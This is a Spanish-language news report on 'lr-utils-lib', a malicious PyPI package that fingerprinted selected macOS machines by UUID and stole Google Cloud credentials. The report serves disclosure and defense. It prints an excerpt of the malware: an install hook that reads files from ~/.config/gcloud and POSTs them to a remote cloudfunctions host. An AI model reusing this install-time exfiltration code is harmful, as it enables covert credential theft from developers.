Expertos en ciberseguridad han identificado un paquete malicioso en el repositorio de Python Package Index (PyPI) que apunta a sistemas Apple macOS con la intención de robar credenciales de Google Cloud de un grupo selecto de usuarios.

El paquete, denominado *«lr-utils-lib»,* registró un total de 59 descargas antes de ser retirado. Fue subido al registro a principios de junio de 2024.

> *«El malware emplea una lista de hashes predefinidos para dirigirse a máquinas macOS específicas e intenta recopilar datos de autenticación de Google Cloud. Las credenciales recolectadas se envían a un servidor remoto»,* explicó el investigador de Checkmarx, Yehuda Gelb, en un informe del viernes.

Un aspecto crucial del paquete es que primero verifica si está instalado en un sistema macOS, y solo entonces compara el Identificador Único Universal (UUID) del sistema con una lista codificada de 64 hashes.

Si la máquina comprometida está entre las especificadas en el conjunto predefinido, intenta acceder a dos archivos: application_default_credentials.json y credentials.db, ubicados en el directorio ~/.config/gcloud, que contienen datos de autenticación de Google Cloud.

```
# Various functions
.
.
.
go = ['641d54eb5d6eede67c62287e8b33c95200b68d35465c75a2715a95fdfffe86d1',
    'ae712e7065d27a88e464f77a0e4f97af6fa7a6bbcb9ebfe674eecec11f82c752',
    '1686dc1dc8b706be5664fa568833cd8920c8551415c1b8567bc9b1060ff7bd0a',
    'ae5a652d6397ac8150e0462930064cc600875e66d7687dcdcadd3c2532c45ac9',
    '086dac8a9a2e86f3ee79274111d04577cfb4537d4f004efb4698ddecdf78c608',
    'faacef9164ab09741fc616e71890ecbb4d748fec30954daf198424615c4115cb',
    '3d959605a3105b5d37a4af33543c93ca4ffd02627d476e1b4647c75d61dd977f',
    # Full list contains 64 Hashes
   ]

class PyInstall(install):
    def run(self):
        if sys.platform != "darwin":
            return

        tmp = get_co()
        c = "ioreg -k IOPlatformUUID"
        raw = tmp(c.split()).decode()
        p = '"IOPlatformUUID"\s*=\s*"([^"]*)"'
        roger = get_se()(p, raw)
        u = get_ma(roger)
        h = get_ash(u)

        if h in go:
            b = "~/.config/gcloud"
            t = ["application_default_credentials.json", "credentials.db"]

            for x in t:
                try:
                    con = get_defcon(get_prrr(), "europe-west2-workload-422915.cloudfunctions.net"
                    with get_obs()(os.path.join(b, b64d(x).decode()), "rb") as fd:
                        con.request("POST", "/version", fd.read(), {"X-Trace-Correlation-ID": h})
                    con.close()
                except:
                    pass

            install.run(self)
```

Luego, la información capturada se transmite mediante HTTP a un servidor remoto llamado *«europe-west2-workload-422915[.] cloudfunctions[.] net».*

Checkmarx también informó sobre un perfil falso en LinkedIn con el nombre *«Lucid Zenith»* que coincidía con el propietario del paquete y afirmaba falsamente ser el CEO de Apex Companies, sugiriendo un posible elemento de ingeniería social en el ataque.

Actualmente, no se sabe con certeza quién está detrás de esta campaña. No obstante, surge más de dos meses después de que la firma de ciberseguridad Phylum revelara detalles de otro ataque a la cadena de suministro que involucraba un paquete de Python denominado *«requests-darwin-lite»*, que también desataba sus acciones maliciosas tras verificar el UUID del host de macOS.

Estas campañas indican que los actores maliciosos tienen conocimiento previo de los sistemas macOS que desean infiltrarse y están tomando medidas para asegurar que los paquetes maliciosos se distribuyan exclusivamente a esas máquinas.

También refleja las tácticas utilizadas por los actores maliciosos para distribuir paquetes similares, con el objetivo de engañar a los desarrolladores para que los integren en sus aplicaciones.

> *«Aunque no está claro si este ataque se dirigió a individuos o empresas, este tipo de ataques pueden tener un impacto significativo en las empresas. Aunque el compromiso inicial suele ocurrir en la máquina de un desarrollador individual, las implicaciones para las empresas pueden ser considerables»,* afirmó Gelb.